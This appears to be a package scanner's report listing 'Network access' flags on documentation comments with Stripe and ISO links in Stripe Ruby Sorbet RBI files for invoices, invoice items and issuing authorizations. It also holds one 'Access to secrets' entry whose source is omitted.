    # For example, you can use a SetupIntent to set up and save your customer's card without immediately collecting a payment.       # Later, you can use [PaymentIntents](https://api.stripe.com#payment_intents) to drive the payment flow.       
  • Network accessline 277
    # Later, you can use [PaymentIntents](https://api.stripe.com#payment_intents) to drive the payment flow.
  • Network accessline 279
    # Create a SetupIntent when you're ready to collect your customer's payment credentials.       # Don't maintain long-lived, unconfirmed SetupIntents because they might not be valid.       # The SetupIntent transitions through multiple [stat
  • Network accessline 280
    # Don't maintain long-lived, unconfirmed SetupIntents because they might not be valid.       # The SetupIntent transitions through multiple [statuses](https://docs.stripe.com/payments/intents#intent-statuses) as it guides       # you throug
  • Network accessline 281
    # The SetupIntent transitions through multiple [statuses](https://docs.stripe.com/payments/intents#intent-statuses) as it guides
  • Network accessline 283
    #       # Successful SetupIntents result in payment credentials that are optimized for future payments.       # For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run thr
  • Network accessline 284
    # Successful SetupIntents result in payment credentials that are optimized for future payments.       # For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run through    
  • Network accessline 285
    # For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run through
  • Network accessline 286
    # [Strong Customer Authentication](https://docs.stripe.com/strong-customer-authentication) during payment method collection
  • Network accessline 287
    # to streamline later [off-session payments](https://docs.stripe.com/payments/setup-intents).
  • Network accessline 288
    # If you use the SetupIntent with a [Customer](https://api.stripe.com#setup_intent_object-customer),
  • Network accessline 289
    # it automatically attaches the resulting payment method to that Customer after successful setup.       # We recommend using SetupIntents or [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) on       # Pa
  • Network accessline 290
    # We recommend using SetupIntents or [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) on
  • Network accessline 293
    # By using SetupIntents, you can reduce friction for your customers, even as regulations change over time.       #       # Related guide: [Setup Intents API](https://docs.stripe.com/payments/setup-intents)
  • Network accessline 294
    #       # Related guide: [Setup Intents API](https://docs.stripe.com/payments/setup-intents)       sig { returns(T.nilable(::Stripe::SetupIntent)) }
  • Network accessline 295
    # Related guide: [Setup Intents API](https://docs.stripe.com/payments/setup-intents)
  • Network accessline 324
    end       class SubscriptionDetails < ::Stripe::StripeObject         # Set of [key-value pairs](https://docs.stripe.com/api/metadata) defined as subscription metadata when an invoice is created. Becomes an immutable snapshot of the subscrip
  • Network accessline 325
    class SubscriptionDetails < ::Stripe::StripeObject         # Set of [key-value pairs](https://docs.stripe.com/api/metadata) defined as subscription metadata when an invoice is created. Becomes an immutable snapshot of the subscription metad
  • Network accessline 326
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) defined as subscription metadata when an invoice is created. Becomes an immutable snapshot of the subscription metadata at the time of invoice finalization.
  • Network accessline 413
    sig { returns(T.nilable(Installments)) }           def installments; end           # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements
  • Network accessline 414
    def installments; end           # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentic
  • Network accessline 415
    # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to 
  • Network accessline 594
    sig { returns(T.nilable(PaymentMethodOptions)) }       def payment_method_options; end       # The list of payment method types (e.g. card) to provide to the invoice’s PaymentIntent. If not set, Stripe attempts to automatically determine th
  • Network accessline 595
    def payment_method_options; end       # The list of payment method types (e.g. card) to provide to the invoice’s PaymentIntent. If not set, Stripe attempts to automatically determine the types to use by looking at the invoice’s default paym
  • Network accessline 596
    # The list of payment method types (e.g. card) to provide to the invoice’s PaymentIntent. If not set, Stripe attempts to automatically determine the types to use by looking at the invoice’s default payment method, the subscription’s default
  • Network accessline 685
    sig { returns(T.nilable(String)) }         def city; end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 686
    def city; end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 687
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 697
    sig { returns(T.nilable(String)) }         def postal_code; end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 698
    def postal_code; end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 699
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 881
    sig { returns(T::Boolean) }     def attempted; end     # Controls whether Stripe performs [automatic collection](https://docs.stripe.com/invoicing/integration/automatic-advancement-collection) of the invoice. If `false`, the invoice's state
  • Network accessline 882
    def attempted; end     # Controls whether Stripe performs [automatic collection](https://docs.stripe.com/invoicing/integration/automatic-advancement-collection) of the invoice. If `false`, the invoice's state doesn't automatically advance w
  • Network accessline 883
    # Controls whether Stripe performs [automatic collection](https://docs.stripe.com/invoicing/integration/automatic-advancement-collection) of the invoice. If `false`, the invoice's state doesn't automatically advance without an explicit acti
  • Access to secretsline 906
    [Credential-related source omitted]
  • Network accessline 910
    sig { returns(Integer) }     def created; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 911
    def created; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).     sig { returns(String) }
  • Network accessline 912
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 972
    sig { returns(T.nilable(String)) }     def footer; end     # Details of the invoice that was cloned. See the [revision documentation](https://docs.stripe.com/invoicing/invoice-revisions) for more details.
  • Network accessline 973
    def footer; end     # Details of the invoice that was cloned. See the [revision documentation](https://docs.stripe.com/invoicing/invoice-revisions) for more details.     sig { returns(T.nilable(FromInvoice)) }
  • Network accessline 974
    # Details of the invoice that was cloned. See the [revision documentation](https://docs.stripe.com/invoicing/invoice-revisions) for more details.
  • Network accessline 978
    sig { returns(T.nilable(String)) }     def hosted_invoice_url; end     # Unique identifier for the object. For preview invoices created using the [create preview](https://stripe.com/docs/api/invoices/create_preview) endpoint, this id will b
  • Network accessline 979
    def hosted_invoice_url; end     # Unique identifier for the object. For preview invoices created using the [create preview](https://stripe.com/docs/api/invoices/create_preview) endpoint, this id will be prefixed with `upcoming_in`.     sig 
  • Network accessline 980
    # Unique identifier for the object. For preview invoices created using the [create preview](https://stripe.com/docs/api/invoices/create_preview) endpoint, this id will be prefixed with `upcoming_in`.
  • Network accessline 999
    sig { returns(T::Boolean) }     def livemode; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured 
  • Network accessline 1000
    def livemode; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.     sig { returns(T.nila
  • Network accessline 1001
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 1011
    sig { returns(String) }     def object; end     # The account (if any) for which the funds of the invoice payment are intended. If set, the invoice will be presented with the branding and support information of the specified account. See th
  • Network accessline 1012
    def object; end     # The account (if any) for which the funds of the invoice payment are intended. If set, the invoice will be presented with the branding and support information of the specified account. See the [Invoices with Connect](ht
  • Network accessline 1013
    # The account (if any) for which the funds of the invoice payment are intended. If set, the invoice will be presented with the branding and support information of the specified account. See the [Invoices with Connect](https://docs.stripe.co
  • Network accessline 1053
    sig { returns(T.nilable(String)) }     def statement_descriptor; end     # The status of the invoice, one of `draft`, `open`, `paid`, `uncollectible`, or `void`. [Learn more](https://docs.stripe.com/billing/invoices/workflow#workflow-overvi
  • Network accessline 1054
    def statement_descriptor; end     # The status of the invoice, one of `draft`, `open`, `paid`, `uncollectible`, or `void`. [Learn more](https://docs.stripe.com/billing/invoices/workflow#workflow-overview)     sig { returns(T.nilable(String)
  • Network accessline 1055
    # The status of the invoice, one of `draft`, `open`, `paid`, `uncollectible`, or `void`. [Learn more](https://docs.stripe.com/billing/invoices/workflow#workflow-overview)
  • Network accessline 1086
    sig { returns(T.nilable(T::Array[TotalTax])) }     def total_taxes; end     # Invoices are automatically paid or sent 1 hour after webhooks are delivered, or until all webhook delivery attempts have [been exhausted](https://docs.stripe.com/
  • Network accessline 1087
    def total_taxes; end     # Invoices are automatically paid or sent 1 hour after webhooks are delivered, or until all webhook delivery attempts have [been exhausted](https://docs.stripe.com/billing/webhooks#understand). This field tracks the
  • Network accessline 1088
    # Invoices are automatically paid or sent 1 hour after webhooks are delivered, or until all webhook delivery attempts have [been exhausted](https://docs.stripe.com/billing/webhooks#understand). This field tracks the time when webhooks for t
  • Network accessline 1113
    # credited to the invoice immediately.     #     # See: [Partial payments](https://docs.stripe.com/docs/invoicing/partial-payments) to learn more.
  • Network accessline 1114
    #     # See: [Partial payments](https://docs.stripe.com/docs/invoicing/partial-payments) to learn more.     sig {
  • Network accessline 1115
    # See: [Partial payments](https://docs.stripe.com/docs/invoicing/partial-payments) to learn more.
  • Network accessline 1128
    # credited to the invoice immediately.     #     # See: [Partial payments](https://docs.stripe.com/docs/invoicing/partial-payments) to learn more.
  • Network accessline 1129
    #     # See: [Partial payments](https://docs.stripe.com/docs/invoicing/partial-payments) to learn more.     sig {
  • Network accessline 1130
    # See: [Partial payments](https://docs.stripe.com/docs/invoicing/partial-payments) to learn more.
  • Network accessline 1136
    # This endpoint creates a draft invoice for a given customer. The invoice remains a draft until you [finalize the invoice, which allows you to [pay](#pay_invoice) or <a href="#send_invoice">send](https://docs.stripe.com/api#finalize_invoice
  • Network accessline 1148
    # Note that when you are viewing an upcoming invoice, you are simply viewing a preview – the invoice has not yet been created. As such, the upcoming invoice will not show up in invoice listing calls, and you cannot use the API to pay or edi
  • Network accessline 1149
    #     # Note: Currency conversion calculations use the latest exchange rates. Exchange rates may vary between the time of the preview and the time of the actual invoice creation. [Learn more](https://docs.stripe.com/currencies/conversions) 
  • Network accessline 1150
    # Note: Currency conversion calculations use the latest exchange rates. Exchange rates may vary between the time of the preview and the time of the actual invoice creation. [Learn more](https://docs.stripe.com/currencies/conversions)
  • Network accessline 1156
    # Permanently deletes a one-off invoice draft. This cannot be undone. Attempts to delete invoices that are no longer in a draft state will fail; once an invoice has been finalized or if an invoice is for a subscription, it must be [voided](
  • Network accessline 1162
    # Permanently deletes a one-off invoice draft. This cannot be undone. Attempts to delete invoices that are no longer in a draft state will fail; once an invoice has been finalized or if an invoice is for a subscription, it must be [voided](
  • Network accessline 1198
    # Stripe automatically creates and then attempts to collect payment on invoices for customers on subscriptions according to your [subscriptions settings](https://dashboard.stripe.com/account/billing/automatic). However, if you'd like to att
  • Network accessline 1204
    # Stripe automatically creates and then attempts to collect payment on invoices for customers on subscriptions according to your [subscriptions settings](https://dashboard.stripe.com/account/billing/automatic). However, if you'd like to att
  • Network accessline 1232
    # Stripe will automatically send invoices to customers according to your [subscriptions settings](https://dashboard.stripe.com/account/billing/automatic). However, if you'd like to manually send an invoice to your customer out of the normal
  • Network accessline 1240
    # Stripe will automatically send invoices to customers according to your [subscriptions settings](https://dashboard.stripe.com/account/billing/automatic). However, if you'd like to manually send an invoice to your customer out of the normal
  • Network accessline 1248
    # Draft invoices are fully editable. Once an invoice is [finalized](https://docs.stripe.com/docs/billing/invoices/workflow#finalized),
  • Network accessline 1250
    #     # If you would like to stop the Stripe Billing engine from automatically finalizing, reattempting payments on,     # sending reminders for, or [automatically reconciling](https://docs.stripe.com/docs/billing/invoices/reconciliation) i
  • Network accessline 1251
    # If you would like to stop the Stripe Billing engine from automatically finalizing, reattempting payments on,     # sending reminders for, or [automatically reconciling](https://docs.stripe.com/docs/billing/invoices/reconciliation) invoice
  • Network accessline 1252
    # sending reminders for, or [automatically reconciling](https://docs.stripe.com/docs/billing/invoices/reconciliation) invoices, pass
  • Network accessline 1271
    # Mark a finalized invoice as void. This cannot be undone. Voiding an invoice is similar to [deletion](https://docs.stripe.com/api#delete_invoice), however it only applies to finalized invoices and maintains a papertrail where the invoice c
  • Network accessline 1272
    #     # Consult with local regulations to determine whether and how an invoice might be amended, canceled, or voided in the jurisdiction you're doing business in. You might need to [issue another invoice or <a href="#create_credit_note">cre
  • Network accessline 1273
    # Consult with local regulations to determine whether and how an invoice might be amended, canceled, or voided in the jurisdiction you're doing business in. You might need to [issue another invoice or <a href="#create_credit_note">credit no
  • Network accessline 1279
    # Mark a finalized invoice as void. This cannot be undone. Voiding an invoice is similar to [deletion](https://docs.stripe.com/api#delete_invoice), however it only applies to finalized invoices and maintains a papertrail where the invoice c
  • Network accessline 1280
    #     # Consult with local regulations to determine whether and how an invoice might be amended, canceled, or voided in the jurisdiction you're doing business in. You might need to [issue another invoice or <a href="#create_credit_note">cre
  • Network accessline 1281
    # Consult with local regulations to determine whether and how an invoice might be amended, canceled, or voided in the jurisdiction you're doing business in. You might need to [issue another invoice or <a href="#create_credit_note">credit no

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/invoice_item.rbi

  • Network accessline 4
    # typed: true module Stripe   # Invoice Items represent the component lines of an [invoice](https://docs.stripe.com/api/invoices). When you create an invoice item with an `invoice` field, it is attached to the specified invoice and included
  • Network accessline 5
    module Stripe   # Invoice Items represent the component lines of an [invoice](https://docs.stripe.com/api/invoices). When you create an invoice item with an `invoice` field, it is attached to the specified invoice and included as [an invoic
  • Network accessline 6
    # Invoice Items represent the component lines of an [invoice](https://docs.stripe.com/api/invoices). When you create an invoice item with an `invoice` field, it is attached to the specified invoice and included as [an invoice line item](htt
  • Network accessline 7
    #   # Invoice Items can be created before you are ready to actually send the invoice. This can be particularly useful when combined   # with a [subscription](https://docs.stripe.com/api/subscriptions). Sometimes you want to add a charge or 
  • Network accessline 8
    # Invoice Items can be created before you are ready to actually send the invoice. This can be particularly useful when combined   # with a [subscription](https://docs.stripe.com/api/subscriptions). Sometimes you want to add a charge or cred
  • Network accessline 9
    # with a [subscription](https://docs.stripe.com/api/subscriptions). Sometimes you want to add a charge or credit to a customer, but actually charge
  • Network accessline 11
    # (to minimize per-transaction fees), or for having Stripe tabulate your usage-based billing totals.   #   # Related guides: [Integrate with the Invoicing API](https://docs.stripe.com/invoicing/integration), [Subscription Invoices](https://
  • Network accessline 12
    #   # Related guides: [Integrate with the Invoicing API](https://docs.stripe.com/invoicing/integration), [Subscription Invoices](https://docs.stripe.com/billing/invoices/subscription#adding-upcoming-invoice-items).   class InvoiceItem < API
  • Network accessline 13
    # Related guides: [Integrate with the Invoicing API](https://docs.stripe.com/invoicing/integration), [Subscription Invoices](https://docs.stripe.com/billing/invoices/subscription#adding-upcoming-invoice-items).
  • Network accessline 114
    sig { returns(Integer) }     def amount; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 115
    def amount; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).     sig { returns(String) }
  • Network accessline 116
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 144
    sig { returns(T::Boolean) }     def livemode; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured 
  • Network accessline 145
    def livemode; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.     sig { returns(T.nila
  • Network accessline 146
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/invoice_line_item.rbi

  • Network accessline 4
    # typed: true module Stripe   # Invoice Line Items represent the individual lines within an [invoice](https://docs.stripe.com/api/invoices) and only exist within the context of an invoice.
  • Network accessline 5
    module Stripe   # Invoice Line Items represent the individual lines within an [invoice](https://docs.stripe.com/api/invoices) and only exist within the context of an invoice.   #
  • Network accessline 6
    # Invoice Line Items represent the individual lines within an [invoice](https://docs.stripe.com/api/invoices) and only exist within the context of an invoice.
  • Network accessline 7
    #   # Each line item is backed by either an [invoice item](https://docs.stripe.com/api/invoiceitems) or a [subscription item](https://docs.stripe.com/api/subscription_items).   class InvoiceLineItem < APIResource
  • Network accessline 8
    # Each line item is backed by either an [invoice item](https://docs.stripe.com/api/invoiceitems) or a [subscription item](https://docs.stripe.com/api/subscription_items).
  • Network accessline 240
    sig { returns(Integer) }     def amount; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 241
    def amount; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).     sig { returns(String) }
  • Network accessline 242
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 264
    sig { returns(T::Boolean) }     def livemode; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured 
  • Network accessline 265
    def livemode; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Note that for line items
  • Network accessline 266
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Note that for line items with `type=subscripti

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/invoice_payment.rbi

  • Network accessline 6
    # Invoice Payments represent payments made against invoices. Invoice Payments can   # be accessed in two ways:   # 1. By expanding the `payments` field on the [Invoice](https://api.stripe.com#invoice) resource.
  • Network accessline 7
    # be accessed in two ways:   # 1. By expanding the `payments` field on the [Invoice](https://api.stripe.com#invoice) resource.   # 2. By using the Invoice Payment retrieve and list endpoints.
  • Network accessline 8
    # 1. By expanding the `payments` field on the [Invoice](https://api.stripe.com#invoice) resource.
  • Network accessline 56
    sig { returns(Integer) }     def created; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 57
    def created; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).     sig { returns(String) }
  • Network accessline 58
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/invoice_rendering_template.rbi

  • Network accessline 16
    sig { returns(T::Boolean) }     def livemode; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured 
  • Network accessline 17
    def livemode; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.     sig { returns(T.nila
  • Network accessline 18
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/issuing/authorization.rbi

  • Network accessline 5
    module Stripe   module Issuing     # When an [issued card](https://docs.stripe.com/issuing) is used to make a purchase, an Issuing `Authorization`
  • Network accessline 6
    module Issuing     # When an [issued card](https://docs.stripe.com/issuing) is used to make a purchase, an Issuing `Authorization`     # object is created. [Authorizations](https://docs.stripe.com/issuing/purchases/authorizations) must be a
  • Network accessline 7
    # When an [issued card](https://docs.stripe.com/issuing) is used to make a purchase, an Issuing `Authorization`
  • Network accessline 8
    # object is created. [Authorizations](https://docs.stripe.com/issuing/purchases/authorizations) must be approved for the
  • Network accessline 9
    # purchase to be completed successfully.     #     # Related guide: [Issued card authorizations](https://docs.stripe.com/issuing/purchases/authorizations)
  • Network accessline 10
    #     # Related guide: [Issued card authorizations](https://docs.stripe.com/issuing/purchases/authorizations)     class Authorization < APIResource
  • Network accessline 11
    # Related guide: [Issued card authorizations](https://docs.stripe.com/issuing/purchases/authorizations)
  • Network accessline 145
    end       class Fuel < ::Stripe::StripeObject         # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased.
  • Network accessline 146
    class Fuel < ::Stripe::StripeObject         # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased.         sig { returns(T.nilable(String)) }
  • Network accessline 147
    # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased.
  • Network accessline 168
    end       class MerchantData < ::Stripe::StripeObject         # A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values.
  • Network accessline 169
    class MerchantData < ::Stripe::StripeObject         # A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values.         sig { r
  • Network accessline 170
    # A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values.
  • Network accessline 240
    end         end         # The additional amount Stripe will hold if the authorization is approved, in the card's [currency](https://docs.stripe.com/api#issuing_authorization_object-pending-request-currency) and in the [smallest currency uni
  • Network accessline 241
    end         # The additional amount Stripe will hold if the authorization is approved, in the card's [currency](https://docs.stripe.com/api#issuing_authorization_object-pending-request-currency) and in the [smallest currency unit](https://d
  • Network accessline 242
    # The additional amount Stripe will hold if the authorization is approved, in the card's [currency](https://docs.stripe.com/api#issuing_authorization_object-pending-request-currency) and in the [smallest currency unit](https://docs.stripe.c
  • Network accessline 243
    sig { returns(Integer) }         def amount; end         # Detailed breakdown of amount components. These amounts are denominated in `currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 244
    def amount; end         # Detailed breakdown of amount components. These amounts are denominated in `currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).         sig { returns(T.nilable(AmountDetai
  • Network accessline 245
    # Detailed breakdown of amount components. These amounts are denominated in `currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 246
    sig { returns(T.nilable(AmountDetails)) }         def amount_details; end         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/cur
  • Network accessline 247
    def amount_details; end         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).         sig { returns(String) }
  • Network accessline 248
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 249
    sig { returns(String) }         def currency; end         # If set `true`, you may provide [amount](https://docs.stripe.com/api/issuing/authorizations/approve#approve_issuing_authorization-amount) to control how much to hold for the authori
  • Network accessline 250
    def currency; end         # If set `true`, you may provide [amount](https://docs.stripe.com/api/issuing/authorizations/approve#approve_issuing_authorization-amount) to control how much to hold for the authorization.         sig { returns(T:
  • Network accessline 251
    # If set `true`, you may provide [amount](https://docs.stripe.com/api/issuing/authorizations/approve#approve_issuing_authorization-amount) to control how much to hold for the authorization.
  • Network accessline 252
    sig { returns(T::Boolean) }         def is_amount_controllable; end         # The amount the merchant is requesting to be authorized in the `merchant_currency`. The amount is in the [smallest currency unit](https://docs.stripe.com/currencie
  • Network accessline 253
    def is_amount_controllable; end         # The amount the merchant is requesting to be authorized in the `merchant_currency`. The amount is in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).         sig { retur
  • Network accessline 254
    # The amount the merchant is requesting to be authorized in the `merchant_currency`. The amount is in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 283
    end         end         # The `pending_request.amount` at the time of the request, presented in your card's currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Stripe held this amount from your acc
  • Network accessline 284
    end         # The `pending_request.amount` at the time of the request, presented in your card's currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Stripe held this amount from your account to fund
  • Network accessline 285
    # The `pending_request.amount` at the time of the request, presented in your card's currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Stripe held this amount from your account to fund the authori
  • Network accessline 286
    sig { returns(Integer) }         def amount; end         # Detailed breakdown of amount components. These amounts are denominated in `currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 287
    def amount; end         # Detailed breakdown of amount components. These amounts are denominated in `currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).         sig { returns(T.nilable(AmountDetai
  • Network accessline 288
    # Detailed breakdown of amount components. These amounts are denominated in `currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 298
    sig { returns(Integer) }         def created; end         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 299
    def created; end         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).         sig { returns(String) }
  • Network accessline 300
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 301
    sig { returns(String) }         def currency; end         # The `pending_request.merchant_amount` at the time of the request, presented in the `merchant_currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-d
  • Network accessline 302
    def currency; end         # The `pending_request.merchant_amount` at the time of the request, presented in the `merchant_currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).         sig { returns(I
  • Network accessline 303
    # The `pending_request.merchant_amount` at the time of the request, presented in the `merchant_currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 304
    sig { returns(Integer) }         def merchant_amount; end         # The currency that was collected by the merchant and presented to the cardholder for the authorization. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currenc
  • Network accessline 305
    def merchant_amount; end         # The currency that was collected by the merchant and presented to the cardholder for the authorization. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must
  • Network accessline 306
    # The currency that was collected by the merchant and presented to the cardholder for the authorization. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https:
  • Network accessline 327
    end       class Treasury < ::Stripe::StripeObject         # The array of [ReceivedCredits](https://docs.stripe.com/api/treasury/received_credits) associated with this authorization
  • Network accessline 328
    class Treasury < ::Stripe::StripeObject         # The array of [ReceivedCredits](https://docs.stripe.com/api/treasury/received_credits) associated with this authorization         sig { returns(T::Array[String]) }
  • Network accessline 329
    # The array of [ReceivedCredits](https://docs.stripe.com/api/treasury/received_credits) associated with this authorization
  • Network accessline 330
    sig { returns(T::Array[String]) }         def received_credits; end         # The array of [ReceivedDebits](https://docs.stripe.com/api/treasury/received_debits) associated with this authorization
  • Network accessline 331
    def received_credits; end         # The array of [ReceivedDebits](https://docs.stripe.com/api/treasury/received_debits) associated with this authorization         sig { returns(T::Array[String]) }
  • Network accessline 332
    # The array of [ReceivedDebits](https://docs.stripe.com/api/treasury/received_debits) associated with this authorization
  • Network accessline 333
    sig { returns(T::Array[String]) }         def received_debits; end         # The Treasury [Transaction](https://docs.stripe.com/api/treasury/transactions) associated with this authorization
  • Network accessline 334
    def received_debits; end         # The Treasury [Transaction](https://docs.stripe.com/api/treasury/transactions) associated with this authorization         sig { returns(T.nilable(String)) }
  • Network accessline 335
    # The Treasury [Transaction](https://docs.stripe.com/api/treasury/transactions) associated with this authorization
  • Network accessline 400
    end       end       # The total amount that was authorized or rejected. This amount is in `currency` and in the [smallest currency unit](https://stripe.com/docs/currencies#zero-decimal). `amount` should be the same as `merchant_amount`, unl
  • Network accessline 401
    end       # The total amount that was authorized or rejected. This amount is in `currency` and in the [smallest currency unit](https://stripe.com/docs/currencies#zero-decimal). `amount` should be the same as `merchant_amount`, unless `curre
  • Network accessline 402
    # The total amount that was authorized or rejected. This amount is in `currency` and in the [smallest currency unit](https://stripe.com/docs/currencies#zero-decimal). `amount` should be the same as `merchant_amount`, unless `currency` and `
  • Network accessline 403
    sig { returns(Integer) }       def amount; end       # Detailed breakdown of amount components. These amounts are denominated in `currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 404
    def amount; end       # Detailed breakdown of amount components. These amounts are denominated in `currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).       sig { returns(T.nilable(AmountDetails))
  • Network accessline 405
    # Detailed breakdown of amount components. These amounts are denominated in `currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 415
